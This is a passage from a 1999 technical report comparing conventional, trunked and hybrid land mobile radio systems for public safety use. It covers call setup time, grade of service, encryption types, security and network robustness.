Exhibit 7 An Example of User Talk Groups in a Trunked System Although initial trunked systems utilized the 800 and 900 MHz frequencies, in February 1997, the Commission adopted a Second Report and Order, which allows some centralized trunking in the shared private land mobile radio bands below 800 MHz.2 the FCC now allows trunking on frequencies below 800 MHz if certain requirements are met (see Section 5.19), including the 150-162 (high VHF), 421-430 (UHF), 450-470 (UHF), and 470-512 (UHF-T) MHz bands. The rules adopted in the Report and Order became effective October 17, 1997. [5] For most government and private users in the VHF band, commonly referred to as the public safety pool and the industrial/business pool, trunking is not a common feature, since its implementation was only approved so recently. Comparisons of Conventional and Trunked Systems 13 May 1999 2.5 Hybrid Systems As its name indicates, hybrid systems are a combination of conventional and trunked systems. A hybrid system offers both conventional and trunked user groups and features within a single system. There are two major reasons for hybrid architectures. The first is cost. It may not be cost-effective to have a trunked site in an area with a few users; therefore, a conventional site would be a better alternative, but the conventional site would be part of a system with trunked portions serving areas with higher user density. The second reason is call setup delay. Because immediate communication is critical for user groups such as public safety agencies, conventional channels can be chosen to provide dedicated access with little or no call setup delay. However, large user organizations may include other user groups that are willing to accept the delay on trunked channels to take advantage of the capacity increase provided by trunking. Thus, a hybrid system architecture would provide conventional and trunked overlays in one system. To provide trunked channels, a hybrid system needs the same system components as a trunked system. A hybrid system can be configured as an overlay of a trunked system by one or more conventional channels. In this case, a conventional channel would represent a talk group user to the trunked system logic. User radios on a one-band hybrid system will be programmed to operate in either conventional only, trunked only, or conventional and trunked mode. Radios designated to operate in both modes would require the user to select conventional or trunked mode prior to establishing a call. When in conventional mode, a user would monitor the conventional channel and wait until it is free before attempting a call. This is the same procedure required of users on a conventional system. It differs from a trunked channel allocation where the user and that person’s user group are automatically allocated a channel, if one is available. When in trunked mode, a user depresses the PTT button to make a call request, and the system controller handles the call as in a trunked system. Comparisons of Conventional and Trunked Systems 14 May 1999 An example of channel and talk-group assignment in a hybrid system is presented in Exhibit 8. A conventional radio user can communicate with the trunked User Group B by selecting Channel 3 and vice versa: if a trunked user selects the trunked User Group B, he or she will also communicate with users of the conventional Channel 3. USER GROUP CHANNEL USED ACCESS TYPE FOR USER GROUP Not Applicable Conventional Channel 1 Conventional Users Channel 1 Not Applicable Conventional Channel 2 Conventional Users Channel 2 A Any Available Trunked Channel Trunked Users Talk Group 1 B Conventional Channel 3 and Any Available Trunked Channel Trunked Users Talk Group 1 and Conventional Users Channel 3 C Any Available Trunked Channel Trunked Users Talk Group 2 D Any Available Trunked Channel Trunked Users Talk Group 3 E Any Available Trunked Channel Trunked Users Talk Group 4 F Any Available Trunked Channel Trunked Users Talk Group 5 G Any Available Trunked Channel Trunked Users Talk Group 6 Exhibit 8 Example of a User Group Structure for a Hybrid System Comparisons of Conventional and Trunked Systems 15 May 1999 3.0 ANALYSIS CONSIDERATIONS This section lists and defines the considerations used to perform a comparative analysis of conventional, trunked, and hybrid LMR system types. To remain independent of specific vendors and to maintain as much consistency among systems as possible for comparative purposes, some assumptions and proxies were used. They are identified within the definitions below. The consideration definitions serves as metrics for the comparison. 3.1 List of Analysis Considerations This subsection lists analysis considerations and includes high-level definitions. CCO ONNSSIIDDEERRAATTIIO ONN H HIIG GH H--LLEEVVEELL DDEEFFIINNIITTIIO ONN Spectral efficiency Measures frequency utilization in relation of total number of communications channels to total assigned bandwidth Grade of service (GOS) Measures percent of calls blocked during peak loading Network capacity Describes system performance under conditions of dense, moderate, and minimal user density for a similar geographic area Call setup time Measures average call setup time during normal and peak load conditions Network architecture Describes the hardware and systems needed to deploy the architecture Network scalability Describes the capability to seamlessly increase capacity, integrate new features, or support new communications applications Network encryption Describes the effect of user-based encryption on transmission and system performance Network security Describes the level of system vulnerability to transmission and computer-based electronic intrusion Network robustness Measures the capability to withstand single or multiple faults without service degradation and the time needed to recover from them Multiorganizational interoperability Describes the ability of each system to support interoperability between more than one user organization while providing a similar set of features Ability to handle multiple voice and data applications Describes system capability to seamlessly support voice and data traffic using common channels or user groups Technology evolution Describes the potential impact of technology evolution, including the introduction of system and user features Policy impact Describes the impact of FCC or legislative policies or actions that will affect the architecture Compatibility with legacy systems Describes system capability and interoperability needs to ensure compatibility with legacy analog systems Required user discipline Describes the level of user discipline needed to ensure that multiple parties can concurrently use a common set of channels Network management Describes the requirements for and the complexity of conducting network and system management Network operator training Describes the training needed to ensure system operators and technician can support network operations and resolve system faults or failures Network cost effectiveness Describes the optimal cost alternative using a set of potential user technical, operational, or environmental requirements Migration to Trunking Provides general information on the alternatives for migration to a trunked system Exhibit 9 High-Level Definitions of Analysis Considerations Comparisons of Conventional and Trunked Systems 16 May 1999 3.2 Analysis Considerations Definitions This subsection provides detailed consideration definitions and comments on their relevance to public safety requirements and operations. Spectrum Efficiency - This is a measurement of the number of half-duplex radio communication channels, voice or data, provided by an LMR system versus the amount of spectrum required by that system. For the purposes of this analysis, spectrum efficiency is measured by the number of communications channels per 25 kHz of spectral bandwidth. Thus, a system occupying 25 kHz of spectral bandwidth and providing one half-duplex voice channel would be measured as 1channel/25 kHz. Grade of Service (GOS) - GOS is typically defined as the probability of an inbound communications call, i.e., a PTT, not being blocked in an attempt to reach a central traffic server. Depending upon the distribution model being used, this probability could be measured against a requirement either for immediate service or within a prescribed time delay. Network Capacity - This consideration analyzes the number of users that an LMR system can support within a specific geographic area. The number of users supported typically varies based on the number of channels available and the usage characteristics anticipated. Call Setup Time - Call setup time is an important system parameter showing how quickly a user can begin communicating over a particular system. Call setup time is defined as the time passed between the user’s pushing the PTT button and the radio’s response that the system is ready to accept the call. It measures the speed of network response to a user’s request for communications. Call setup time typically consists of radio power on, propagation, call processing, time-in-queue, and synchronization delays and is usually measured in milliseconds (ms). For systems that require synchronized operation of base and mobile radios and systems in an encrypted mode, a synchronization delay may significantly increase call setup time. Due to differences in protocol and operation, call setup times are different for conventional, trunked, clear, and encrypted systems. Call setup time is affected by system architecture and configuration, the speed of switching equipment and software, the configuration of a particular call, as well as by the traffic load at that particular time. This analysis consideration describes the impact of trunking on call setup time. Network Architecture - This describes the amount and type of LMR specific hardware or related components required fielding a "typical" network configuration. Components may include but are not limited to the following network architecture elements: • System Controllers Comparisons of Conventional and Trunked Systems 17 May 1999 • Base stations/Repeaters • Dispatch Consoles • Switching Equipment • System Control Computers • Telephone Interconnects • Satellite receivers (receive-only remote sites) • Voter/comparators • Data Network Gateways • Scanners These components include only the elements required to process or broadcast LMR transmissions in a typical configuration. Although communication transport mediums and related hardware, such as telephone lines, microwave links, and multiplexer/demultiplexers, are a part of network architecture, they are site specific and are not included in this analysis. Network Scalability - This analysis consideration addresses the ability to seamlessly increase system capacity by adding communication voice or data channels: • Ability to seamlessly add additional system features for system-wide users or individual user groups. Features include items such as tone codes, telephone patch capability, user ID, and over-the-air rekeying of the encryption key • Ability to seamlessly support new communications applications in the form of new data features such as mobile data transmissions, SCADA (Supervisory Control and Data Acquisition) telemetry, short messaging, still frame video, etc. • Ability to add additional sites (transmit, receive, or transmit and receive) to accommodate system growth. Many specific equipment features affecting scalability are dependent on the vendor. To remain vendor-independent, this analysis does not compare individual features and applications available, but rather determines whether the systems are capable of expansion. Network Encryption - The encryption of information at its origin and decryption at its intended destination without any intermediate decryption. The evolution of LMR technology toward digital provides a solid basis for encrypted communications. At the same time, encryption has some negative effects. These can include an increase in call setup time for both conventional and trunked systems, deterioration of voice quality, decrease in the throughput rate for data applications, and a reduced radio coverage area. The study quantifies these changes for each type of system. Network Security - Network security consists of features that prevent unauthorized personnel from accessing system components or communications. Such actions include jamming, eavesdropping, spoofing, and physical sabotage. The analysis defines the areas of vulnerability, including physical, such as computer-based electronic intrusion, and RF transmission. Comparisons of Conventional and Trunked Systems 18 May 1999 Network Robustness - A robust network degrades in such a manner that it continues to operate, but provides a reduced level of service rather than failing completely. In the comparison of conventional and trunked systems, it is necessary to compare systems of the same generation. This study focuses on advanced digital systems. Many specific equipment features affecting robustness are dependent on the standard and vendor used. The analysis compares the capability of conventional and trunked systems to withstand single or multiple faults. Multiorganizational Interoperability - This analysis consideration evaluates the ability of each system to support interoperability between more than one user organization while providing a similar set of features. Ability To Handle Multiple Voice and Data Applications - This analysis describes the system capability to seamlessly support voice and data traffic using common channels or user groups. It compares any existing inherent advantages/disadvantages of conventional or trunked systems for data voice/data integration. Technology Evolution - This section analyzes the impact of technology evolution on existing and planned LMR systems and the risks assumed when selecting a conventional or trunked system type. It also gives a five-year forecast for LMR technology trends, as well as the impact of the emerging standards, such as TIA/EIA-102. Policy Impact - This section analyzes the impact of Federal Communications Commission (FCC) and National Telecommunications & Information Administration (NTIA) policies on architecture selection. Compatibility with Legacy Systems - This analysis determines whether the newer digital conventional/trunked systems or their components will interoperate with existing (legacy) analog conventional FM systems over the air interface. The analysis determines whether compatibility depends on system type (conventional or trunked). If interoperability cannot be achieved through little or no system re-configuration, such systems are considered incompatible. Required User Discipline - This analyzes the network discipline required of users to ensure that multiple parties can easily share a common set of channels. For the purposes of this study, user discipline includes the discipline or control required on the part of users, so that they do not collide with other users’ communications within the same channel. Network Management - The analysis describes the requirements for and the complexity of conducting network and system management for conventional and trunked types of systems, including maintenance, radio and call group allocation, upgrading (software, hardware), optimizing performance, encryption key management, over-the-air features, and interoperability with other systems (if possible). Network Operator Training - This analysis consideration describes the amount and types of training required by typical system operators and on-site radio technicians to assure they have the skills required to maintain day-to-day system operation. System operators include radio Comparisons of Conventional and Trunked Systems 19 May 1999 system managers employed by the user agency. Technicians are those individuals employed by the user agency to handle system maintenance, trouble-shooting, and repair. Network Cost Effectiveness - This analysis provides general cost information on the different architecture alternatives to aid decision making regarding system cost, with a chart showing cost per user for different types of networks. Considerations for Migration to Trunking - This analysis provides general information on the alternatives for migration to a trunked system. Comparisons of Conventional and Trunked Systems 20 May 1999 4.0 SUMMARY OF RESULTS MATRIX The matrix below summarizes results of the comparison analysis of conventional and trunked radio system architectures. The body of the analysis is given in Section 5. Analysis Considerations Conventional Trunked Hybrid Spectrum Efficiency − Similar between systems − Increases depending on type of technology used: wideband, narrowband, advanced digital modulation and multiple access schemes − Similar between systems − Increases depending on type of technology used: wideband, narrowband, advanced digital modulation, multiple access schemes, number of users − Similar between systems − Increases depending on type of technology used: wideband, narrowband, advanced digital modulation and multiple access schemes Grade of Service (GOS) − Call blocking at peak periods − Message colliding occurs unknown to caller, if gets no answer, the caller tries again − Manual call delay − Call queuing during peak periods prevents call retries and message collision − Call delay occurs during queuing − Preemptive access limited − Call abandonment may occur, if queuing delay is significant − Different for different overlays − Calculated as in conventional for the conventional overlay and as in trunked for the trunked overlay Network Capacity − High capacity and user density during low usage − Lower throughput/capacity at high usage − Call queuing provides higher throughput and capacity at peak usage periods than in conventional architecture − In centralized trunked architecture typically one channel per site is dedicated to system control, therefore capacity per channel is lower than in decentralized trunked architecture − Network capacity is a summation of capacities of the conventional and trunked overlays Call Setup Time − 15 ms typically – for legacy systems − 250 ms typically – for advanced digital systems with user authentication features. Also increases significantly if encryption is used − 250 ms typically for both, analog and digital, technologies. Also increases substantially if encryption is used. Typically: − 15 ms – for basic conventional overlay − 250 ms – for conventional overlays using advanced digital technology − 250 ms – for trunked overlay − 250 ms – for cross-calls (additional) − all times increase if encryption is used Network Architecture − No computer logic required for non-TIA/EIA-102 systems − No network required for direct user-to-user communications − Interconnections needed for transmitter synchronization − Site and central controllers needed in centralized trunking systems − Control microprocessors in user radios required in decentralized trunking systems − More complex than conventional architecture − A combination of conventional and trunked overlays − More complex than both conventional and trunked architectures Network Scalability − Allows for continued capacity expansion via additional channels and/or equipment − Centralized trunking architecture allows for continued capacity expansion via additional channels − Channel addition limited in decentralized trunking architecture. (Can be expanded up to 15 channels per site with noticeable call setup delays) − Many cellular-like software-based features available − Conventional overlay is as expandable as a conventional system − Trunked overlay scalability is also similar to trunked systems Network Encryption − Type 1 through 4 encryption products and algorithms are available on many types of LMR architectures − Type 1 through 4 encryption products and algorithms are available on many types of LMR architectures − Type 1 through 4 encryption products and algorithms are available on all types of LMR architectures Comparisons of Conventional and Trunked Systems 21 May 1999 Continued Analysis Considerations Conventional Trunked Hybrid Network Security − Fewer architecture elements allows for fewer opportunities for intrusion − No form of dynamic frequency hopping is used, allowing for easy eavesdropping on one channel − Digital systems allow stronger encryption and may have user authentication feature − User IDs and authentication prevents unauthorized access − Frequency hopping between conversations or messages makes eavesdropping more difficult − Digital systems allow stronger encryption and prevent unauthorized access − Conventional overlay is as secure as a conventional system using the same technology − Trunked overlay is also as secure as a trunked system using the same technology − Combined security of a hybrid network is determined by the overlay with lower security Network Robustness − Sites capable of functioning independently in the event of outage at another site − Transceiver failures result in channel loss − Backup, stand-by equipment can limit outages − In a networked configuration, inter-site calls cannot be provided during the failure of the central controller − Failure of a single traffic channel is usually unnoticeable by users except by increased delay in peak traffic periods − In centralized trunked systems, failure of a control channel may result in a shutdown of the site if backup or soft-fail features are not provided − Backup, stand-by equipment can limit outages − Conventional overlay is as robust as a separate conventional system − Trunked overlay robustness is similar to trunked systems − The overall robustness of a system is determined by the robustness of its less robust overlay Multiorganizational Interoperability − Multiorganizational interoperability is limited over the air interface by the use of the same modulation type, mode, channelization, and encryption type and key − If interoperability not achievable over the air interface, it can be achieved with audio cross patches (either analog or digital) − Is limited over the air interface by the use of the same modulation type, mode, channelization, and encryption type and key − If interoperability not achievable over the air interface, it can be achieved with audio cross patches (either analog or digital) − Some advantages for management of interoperability features. For example, creation of new groups or adding new members to a new group typically can be done in real time allowing formation of talk groups across organizational lines as needed. − Interoperability may be achieved over conventional or trunked air interfaces as mentioned in respective systems − Has the advantages of trunked talk group management, which is available only to trunked users − As in other types of the systems, audio cross patches can be used (either analog or digital) − As in the other types of systems, if encryption is used, it should be of the same type and using the same key Ability To Handle Multiple Voice and Data Applications − Conventional architecture is well suited for packet- switched data on dedicated channels − Regular FDMA channels are unable to handle simultaneous voice and high to medium-rate data on one frequency channel − Trunked architecture is less well suited for packet data, better suited for circuit-switched data − Regular FDMA channels are unable to handle simultaneous voice and high to medium-rate data on one frequency channel − Hybrid architecture can use advantages of its conventional technology for packet-switched data transmissions and trunking for circuit-switched data − Regular FDMA channels are unable to handle simultaneous voice and high to medium-rate data on one frequency channel Technology Evolution − Conventional used in smaller systems with smaller user bases and few frequencies, where spectral efficiency of trunking cannot be realized − Digitalization − Increased set of user features − Strong encryption − Trunked used in larger systems where larger pools of frequencies allow for full realization of trunking advantages supporting more users per frequency − Digitalization − Increased set of user features − Strong encryption − Hybrid used on a case-by-case basis Policy Impact − The FCC National Plan Report and Order provided incentives for using trunking and requiring small entities with minimal requirements to join together in using a single system where possible, thus encouraging the use trunking in the 800-MHz band − The FCC is encouraging the use of trunking as a spectrum- efficient technology − Decentralized trunking is allowed in all LMR bands − In addition to the 800-MHz band, the use of centralized trunking has now been permitted in lower LMR bands, subject to meeting certain licensing requirements − Hybrid systems are not specifically defined and addressed by policy makers Comparisons of Conventional and Trunked Systems 22 May 1999 Continued Analysis Considerations Conventional Trunked Hybrid Compatibility with Legacy Systems − Generally new analog conventional systems are compatible with legacy analog configurations − Compatibility between current digital conventional systems and legacy analog system is only via audio patches − TIA/EIA-102 systems are designed to be compatible with legacy analog systems over the air interface − Systems that are simultaneously analog and digital cannot interoperate over the air interface. The compatible digital system must be switched to analog mode to allow for simultaneous interoperation with an analog legacy system − Digital trunked systems usually employ a gateway technique for migration from analog systems − Same issues of analog/digital compatibility apply as for conventional systems − Since hybrid systems consist of conventional and trunked overlays, all compatibility considerations that apply to the two will be correct for the respective overlays of a hybrid system Required User Discipline − Conventional systems require a significant amount of user discipline on the part of each radio user to ensure that all the users on the system are able to share the channel − Users on trunked systems do not have to monitor the system for an available channel to make a call − When communicating in their talk group, trunked users must obey by the user discipline rules applicable to conventional users − Users of the conventional overlay of a hybrid system are required to abide by conventional user discipline − Trunked users do not have to monitor the system for an available channel to make a call. Nonetheless, when communicating in their talk group, trunked users must obey by the rules applicable to conventional users Network Management − Manual management required − Many network management features are automated − A combination of the two, requires manual management for conventional overlay − Management of trunked overlay is mostly automated Network Operator Training − Less training required − Some large conventional systems require a more detailed knowledge of system configuration from an operator/dispatcher than in trunked systems − More training required for technicians and managers − More training required for technicians and managers − Requires a good understanding of system configuration from an operator/dispatcher Network Cost Effectiveness − Less expensive than trunked − TIA/EIA-102 can be as expensive as trunked due to the use of user authentication equipment − Cost determined mostly by technology used, specific configuration, and user options selected, not by type of architecture − More expensive than conventional − Cost determined mostly by technology used, specific configuration, and user options selected, not by type of architecture − Cost determined mostly by specific configuration, technology used and user options selected − Some large hybrid systems can be more expensive than similar trunked due to conventional and trunked integration complexity Comparisons of Conventional and Trunked Systems 23 May 1999 5.0 ARCHITECTURE ANALYSIS AND COMPARISON This section analyzes and compares the alternatives using the analysis considerations. The subsections are organized by analysis consideration; each subsection includes an analysis of each architecture to allow system planners to compare analysis approaches, assumptions, and results. 5.1 Spectrum Efficiency Spectrum efficiency is similar in different architecture types. It depends on channelization and type of multiple access used. Conventional and trunked systems are currently available in two channelizations: 25 kHz and 12.5 kHz. Each channelization, due to the bandwidth used, offers a different level of spectrum efficiency. Most systems in use today operate using 25 kHz half-duplex analog channels. Newer narrowband systems, however, operate in half the bandwidth, using 12.5 kHz half-duplex channels. For comparative purposes, spectrum efficiency is measured by the number of available traffic channels per 25 kHz of bandwidth. Exhibit 10 lists various spectrum efficiencies: LMR SYSTEM MODE NUMBER OF TRAFFIC CHANNELS PER 25 kHz SPECTRUM EFFICIENCY 25 kHz Analog 1 channel 1 : 1 12.5 kHz Narrowband Analog 2 channels 2 : 1 12.5 kHz Narrowband Digital (current TIA/EIA-102 Phase 1) 2 channels 2 : 1 6.25 kHz Narrowband Digital (future TIA/EIA-102 Phase 2) 4 channels 4 : 1 Exhibit 10 Spectrum Efficiency Narrowband systems provide higher spectrum efficiency due to the lower spectrum requirement for a single channel. However, the drawback of narrowbanding is a reduction in data capacity that can be accommodated by narrowband channels. Comparisons of Conventional and Trunked Systems 24 May 1999 5.2 Grade of Service (GOS) GOS is defined as the probability of an inbound communications call, i.e., a PTT, being blocked in an attempt to reach a central traffic server. There are essential differences in what causes blocking in conventional and hybrid systems. In a conventional system where all users share and actively monitor a radio channel, blocking occurs when a user attempts to place a call (i.e., depresses the PTT button) at the same time that one or more other users attempt to place a call. In general, as a result of this user interference, neither user’s message is received and both users must retry the call. Thus, during periods of peak usage when the chances of user interference are the greatest, users must continuously listen to a conventional channel and wait for a free moment to avoid colliding. This results in a manual delay of the call attempt. When free time is heard on the radio channel, users attempt to gain access, hoping not to conflict with a simultaneous request from another user. In certain cases, conventional user radios override and do interfere with other ongoing transmissions for necessary access (i.e., emergency or “man down” calls). However, in conventional systems, call delay is normally experienced by the user who is awaiting a free channel, and call-blocking results in no system throughput since both users must retry their transmission. Centralized trunked systems make use of a set of shared channels. In this type of system, blocking occurs when a user attempts a call and no channels are available. At this moment, unlike conventional systems, a trunked system places the call attempt in a queue awaiting a free channel. As a result, the user experiences a queuing call delay and is notified of a free channel when it becomes available for his or her call. The use of a central controller in a trunked system prevents users from interfering with each other’s conversations during peak usage periods. It results in a greater throughput of the number of calls per unit time than a conventional system, where users manually wait for a free channel and retry calls when call blocking occurs. Unless a priority feature is built into a trunked system, user radios are not able to override the controller for instant blocking-free access. The essential difference in the concept of grade of service between conventional and trunked systems is as follows: • Conventional systems involve manual call delay, require call retries if interference was created by another user • Trunked systems involve queuing call delay, prevent collision of calls, thus reducing call retries. Comparisons of Conventional and Trunked Systems 25 May 1999 5.3 Network Capacity In LMR systems, channel capacity is a function of the user channel access protocol. To maximize capacity, users of a conventional system “listen then transmit.” In an extreme situation, as the channel load increases, the chance of colliding messages increases. At that time, a greater number of messages are lost and effective channel throughput is reduced. Users that are more impatient will “transmit when ready,” colliding with other messages and degrading the system performance. At this point, users typically abandon or do not attempt calls that are not essential, prioritizing their own calls based on the situation as they understand it, from monitoring the radio traffic. Trunked LMR systems make use of electronically controlled access to multiple channels in the system. Users are prevented from causing a message collision since the system controls channel access. At peak usage periods when all channels are active, trunked systems are able to prevent message collisions and minimize retries. At those times, trunked systems provide greater network capacity than conventional systems because they provide a greater message throughput. At lower traffic periods, however, trunked systems inherently have a longer call setup delay. Appendix B illustrates the impact of using conventional and trunked systems on network capacity and call delay. Traffic modeling shows that the electronically controlled access capability of trunked systems provides less call delay, overall, and thus provides a greater throughput as traffic load in a typical system increases. 5.4 Call Setup Time In a conventional system, a call attempt must simply seize the channel to which the radio is programmed or set. Call attempts do not require a central system controller channel assignment although a central controller is occasionally used to provide enhanced features. Thus, call setup times for conventional systems are shorter than for trunked when a free channel is available. Call setup time within a conventional system is a function of three processes: powering up of the user radio transmitter, radio signal propagation delay through the atmosphere to a repeater (typically 5 microseconds per mile), and repeater processing time. These three processes typically take 15 milliseconds after a user depresses the PTT button. Call setup time within a trunked system is a function of many more processes than in a typically conventional system. In addition to the setup time typical of a conventional system (power of transmitter, propagation delay to repeater, and repeater processing time), several other processes occur when a call attempt is placed from a trunked user radio. Exhibit 11 identifies the call setup time typical for a trunked radio when a free channel is available. Comparisons of Conventional and Trunked Systems 26 May 1999 PROCESS SUBPROCESSES TIME3 1. User radio call request time • User presses PTT • Radio powers up transmitter on control channel • Radio encodes request message • Propagation delay of request message on control channel to controller occurs (minimal) 23 ms 2. Controller processing time • Receipt and recognition of mobile request • Identification of available free channel • Establishment of instructions on channel assignment for all radios in talk-group 95 ms 3. Controller call request response time • Controller transmits instructions to all talk group radios on control channel • Propagation delay occurs as instructions are transmitted over control channel (minimal) 23 ms 4. User radio processing time • Requesting radio receives and processes instructions • Requesting radio switches to allocated channel 95 ms 5. Radio call establishment time • Radio powers up transmitter on assigned channel • Propagation delay to repeater occurs (minimal) • Repeater retransmits audio on assigned channel (radio power up time) 20 ms TOTAL TIME 255 ms Exhibit 11 Trunked Radio Call Setup Time Call setup time within a conventional digital system with user authentication feature is similar to that in a trunked system due to added computer processing. For example, the TIA/EIA-102 call setup time for conventional channels is stated as not to exceed 250 ms, which equals that of a trunked system. Call setup times in hybrid systems differ greatly depending on the specific configuration employed. Calls executed over a conventional part of a hybrid system have a call setup time equal to that on a stand-alone conventional system with the same technology. Calls conducted over the trunked part of the hybrid system will have a setup time equal to that on a stand-alone trunked system. However, users making cross-calls (trunked to conventional or conventional to trunked) experience call setup delays similar to trunked. 5.5 Network Architecture The basic architecture and configuration types of conventional systems are described in Section 2 of this report. Conventional systems can be single-site or multisite systems and offer receiver voting, single channel multicast, and multichannel multicast configurations. Components typically include base stations/repeaters, satellite receivers, and consoles. More complex multisite systems may require interconnection links between sites to facilitate time synchronization. In some cases, a conventional system may also include a system controller to provide enhanced features. Because a conventional system does not require a controller or processor to handle call requests and call group/channel management, the complexity of a conventional system is typically much less than that of a trunked or hybrid network. In fact, when users are operating in a simplex or mobile-to-mobile mode, no network architecture is needed to provide communications. Approximate time (milliseconds) required to accomplish process Comparisons of Conventional and Trunked Systems 27 May 1999 Section 2 includes descriptions of architectures used for trunked radio network design. In addition, a component overview of a typical trunked system is displayed in Exhibit 6. These common components are relatively standard for either network. At a minimum, a multisite simulcast network needs some form of interconnect medium with constant latency for transmitter phase synchronization. Similarly, a zone system that needs to cover a large area has to deploy some form of frequency re-use pattern. All trunked systems require a central controller and interconnection links to that site. The need for this interconnection and the controller increases the network architecture complexity of a trunked LMR network. 5.6 Network Scalability This analysis consideration discusses advanced digital systems to allow comparison of similar generation networks. Advanced digital conventional systems provide the ability to expand capacity, features, channels, and components over time as the need arises. Although different vendors offer different options and features for expandability, all vendors make their equipment scalable and offer that capability as a main selling point. Vendors have developed modular expandable digital conventional networks to enable users to increase services and features as their user base grows. Each vendor offers different types of features, but in general, all conventional systems allow for continued expansion of capacity through the addition of channels and/or base stations/repeaters. Advanced digital conventional systems offer options for additional tone codes and telephone patch capabilities, if needed. Availability of other features varies by vendor. Trunked radio communication system scalability is directly proportional to the manufacturer specifications. Some of today’s more advanced LMR systems are comparable to cellular communication systems. They provide many, if not all, of the cellular features that have become popular such as person-to-person calls and short messaging, and also have the advantage of making group/dispatch calls. The trunking controller and the portable and mobile radios are microprocessor-driven. This intelligence makes it possible to control the network equipment and the radios working in the system. Since the system’ s computer is software driven, the capacity to accommodate upgrades is higher. Some of the scalable facilities include: • Private individual-to-individual conversations • Private group conversations • Caller identification • Priority for emergency calls • Telephone/radio interconnect • Ability to make status calls without voice transmission • Conventional channel programming in user radio. Comparisons of Conventional and Trunked Systems 28 May 1999 The underlying technology of a hybrid system combines conventional and trunked overlays. As a result, the scalability of the conventional overlay of a hybrid system is expected to be the same as in a conventional system. In the trunked overlay, as in a stand-alone trunked system, the control software and the intelligence it confers give it a greater flexibility to accommodate upgrades. 5.7 Network Encryption Network encryption must be implemented if users require a heightened level of security against advanced interceptors. With the current technological advances, digital encryption is the standard. Digital voice encryption requires that the analog voice signal be sampled, digitized, encrypted, transmitted, and decrypted in real-time. Standard network encryption schemes are available on all types of LMR systems. Encryption is independent of system type and architecture. Four types of encryption products and algorithms are deployed in the United States: • Type 1 - A classified or controlled cryptographic item endorsed by the National Security Agency for securing classified and sensitive U.S. Government information. Note: The term refers only to products, and not to information, key, services, or controls. Type 1 products contain classified National Security Agency algorithms. They are available to U.S. Government users, their contractors, and federally sponsored non-U.S. Government activities subject to export restrictions in accordance with International Traffic in Arms Regulation. [7] • Type 2 - Unclassified cryptographic equipment, assembly, or component, endorsed by the National Security Agency, for use in telecommunications and automated information systems for the protection of national security information. Note: The term refers only to products, and not to information, key, services, or controls. Type 2 products may not be used for classified information, but contain classified National Security Agency algorithms that distinguish them from products containing the unclassified data algorithm. Type 2 products are subject to export restrictions in accordance with the International Traffic in Arms Regulation. [7] • Type 3 - A cryptographic algorithm that has been registered by the National Institute of Standards and Technology and published as a Federal Information Processing Standard for use in protecting unclassified sensitive information or commercial information. [7] • Type 4 - An unclassified cryptographic algorithm that has been registered by the National Institute of Standards and Technology, but is not a Federal Information Processing Standard. [7] There are potential drawbacks to using encryption on an analog LMR system. In analog systems, when portables or mobiles are used in encrypted mode, the radio coverage can be decreased compared to operation in clear or unencrypted mode due to quantization noise. Estimates by users indicate that an encrypted analog transmitter station’s range can be limited by as much as 30 percent. Because encrypted signals are digitally coded, strong error-free signals Comparisons of Conventional and Trunked Systems 29 May 1999 are needed to properly decrypt transmissions limiting radio reception at the edge of an analog system’s coverage. In addition, due to encryption in both analog and digital systems, the call setup time can increase because of the additional steps in the encryption process such as base-mobile synchronization, key exchange, and encryption/decryption delay. Voice quality may also degrade when encryption is used. The management of encrypted radios would also affect the security profile of the system. The manner in which keys and key-loading devices are physically protected is important. The type of algorithm used and length of keys affect the strength of the encryption. LMR network encryption can be configured as air interface-only or end-to-end encryption. Obviously, end-to-end encryption configuration is much more secure. Encryption qualities of an LMR network are not affected by type of network architecture, conventional, trunked or hybrid. All four types of encryption products and algorithms are available on all types of LMR network architectures. 5.8 Network Security Each physical component of the conventional architecture represents a potential security vulnerability: base stations/repeaters, consoles, satellite receivers, telephone patches, controllers, etc. A conventional network differs essentially from trunked and hybrid LMR architectures in its reduced network complexity and number of components (for similar capacity configurations). When similar security features are in place, a conventional network offers greater network security than other configurations due to the fewer points of potential electronic intrusion. The RF link of a conventional network represents a second type of security risk. In a conventional network, radio channels are stable and not dynamically assigned. A radio user manually selects a radio channel and uses that channel for all conversations with a specific user community. Thus, transmission generally occurs on the same channel each time. For example, a maintenance user group assigned a maintenance channel always transmits on the same frequency. Without an encryption feature, an unauthorized intercept can tune in to that specific channel to gain access to each conversation. Often described by vendors as an anti-eavesdropping security feature, the channel switching that occurs during trunking does not make eavesdropping more difficult due to the existence of trunking scanners designed to interpret trunking control signaling. Nonetheless, just as advanced conventional networks, advanced trunked networks typically offer a wide suite of features developed to strengthen defense from major communications security threats. Such features typically include the following: • Equipment Electronic Serial Number and/or User Identity Module cards • Provisions to prevent replay of messages Comparisons of Conventional and Trunked Systems 30 May 1999 • Over-the-air rekeying (for systems utilizing encryption) • Over-the-air deactivation of stolen radios • User radio access denial. The physical security of a hybrid network is similar to a trunked network. A hybrid network has most of all the components of a trunked network. The greater complexity and number of network components makes it more susceptible to intrusions than conventional networks. However, the use of a central controller also provides a hybrid network with the ability to increase the difficulty of unauthorized radio access through the use of user IDs. The RF security of a hybrid network conventional overlay are similar to those of a stand- alone conventional network architecture. The security of a trunked overlay of a hybrid network is essentially similar to that of a stand-alone trunked network. The overall security of a network will be determined by the security of its least secure overlay. 5.9 Network Robustness Graceful degradation, when system continues to operate but provides a reduced level of service rather than failing completely, is the key to determining robustness of a network. Conventional network configurations use independent base stations/repeaters to handle broadcasts to large geographic areas. Although multisite networks use interconnected and synchronized receivers and comparators to determine which received signal should be rebroadcast, each site is still capable of functioning independently in the event of a voter/comparator failure. Because each independent base station/repeater does not require interaction with a network controller to operate normally, conventional networks offer a high level of robustness. In the event of a failure of a particular network site (base station, diversity receiver, console, etc.), the remaining components are able to operate independently to provide service to users within range of operational components. Although coverage and services may decrease, the entire network does not suffer a service outage due to a single failure. Adaptability is another key criterion to determining a network’s robustness. Network robustness must take into account network architecture, network configuration, and manufacturer specifications. Consider communicating on a particular channel in a conventional network when a channel fault occurs. The users on that channel should know in advance what channel to switch to, if another channel is available. This situation does not typically occur in trunked radio networks, since they are computer-controlled. If a repeater channel falls out, the controller registers the fault and does not assign the repeater channel as a traffic path until the malfunction is repaired or disappears. Since channels are allocated as needed and no user group is dependent on any one channel for communications, the failure of a single channel most likely is not noticeable to the users unless the network is under a heavy user load. In a trunked simulcast network, all links between the simulcast sites (i.e., microwave) should have a backup. Should the system clock be lost, the transmission will loose Comparisons of Conventional and Trunked Systems 31 May 1999 synchronization and the network will fail with each site operating as a stand-alone site and overlap zones being extremely noisy. Some trunked networks have been designed so that if the designated control channel is lost, 